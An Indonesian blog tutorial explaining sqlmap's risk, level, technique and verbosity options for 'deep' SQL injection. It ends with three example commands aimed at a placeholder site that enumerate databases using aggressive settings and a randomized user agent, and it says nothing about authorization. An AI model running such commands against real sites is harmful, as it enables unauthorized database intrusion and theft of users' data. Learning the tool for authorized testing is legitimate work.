Apa itu Deep Injection ? apa fungsinya ? pasti kalian menanyakan itu, sesuai namanya yang artinya injeksi secara mendalam.
--level
--risk
--technique
--v atau --veborsity
Jika kalian biasanya hanya memakai command bassic seperti "--dbs" ataupun "--random-agent" pasti ada yang vulnerable ada juga yang tidak, tergantung Error pada target seperti apa. Error target berbeda-beda, contohnya seperti error di bagian Heavy Query ada juga yang error pada bagian OR-Based maka dari itu jika kalian menginjeksi suatu target hanya menggunakan "--dbs" sama artinya kalian hanya membuang-buang watu saja. di sini saya akan membagikan trik dan tips untuk kalian. yang pertama adalah :
Command RISK
Command risk ini menginjeksi target dengan payload yang lebih spesifik seperti Heavy Query Time-Based SQL ataupun OR-Based SQL.
--risk=1 (Menambahkan injeksi lanjutan)
--risk=2 (Menambahkan injeksi Heavy Query Time-Based SQL)
--risk=3 (Menambahkan injeksi OR-Based SQL)
Command LEVEL
Command level ini menentukan tingkat injeksi yang akan berlangsung seperti cookie injection ataupun header injection.
--level=1 (Injeksi secara Default)
--level=2 (Menambahkan Cookie untuk di injeksi)
--level=3 (Menambahkan Header Referer untuk di injeksi)
--level=4 (Menambahkan Header Referer lanjutan untuk di injeksi)
--level=5 (Menambahkan Header Host untuk di injeksi)
Command TECHNIQUE
Command technique ini adalah salah satu command yang berfungsi untuk mempercepat injeksi kalian. jika kalian menggunakan "--level=5" berarti default dari technique adalah "--technique=BEUSTQ" coba kalian fahami command technique ini pasti kalian akan mengerti Error pada target yang memakai "--v 3".
--technique=B (Boolean-based blind)
--technique=E (Error-based)
--technique=U (Union query-based)
--technique=S (Stacked queries)
--technique=T (Time-based blind)
--technique=Q (Inline queries)
Command V atau VEBORSITY
Command veborsity adalah command unyuk menampilkan pesan lanjutan pada injeksi pada SQLMap berikut ada 6 command veborsity diantaranya :
-v 0 (Hanya menampilkan traceback Python ataupu Error critical)
-v 1 (Menampilkan informasi dan pesan peringatan "Default")
-v 2 (Menampilkan pesan Debug)
-v 3 (Menampilkan pesan Payload injeksi)
-v 4 (Menampilkan permintaan HTTP)
-v 5 (Menampilkan repon HTTP)
-v 6 (Menampilkan seluruh kontent target)
contoh penggunaan Deep Injection pada SQLMap :
root@kali:~# sqlmap.py -u "target.com/index.php?id=1" --dbs --random-agent --level=5 --risk=3 --technique=BUST
root@kali:~# sqlmap.py -u "target.com/index.php?id=1" --dbs --random-agent --level=3 --risk=1 --technique=BT
root@kali:~# sqlmap.py -u "target.com/index.php?id=1" --dbs --random-agent --level=5 --risk=3 --technique=BUSTQ

0 Comments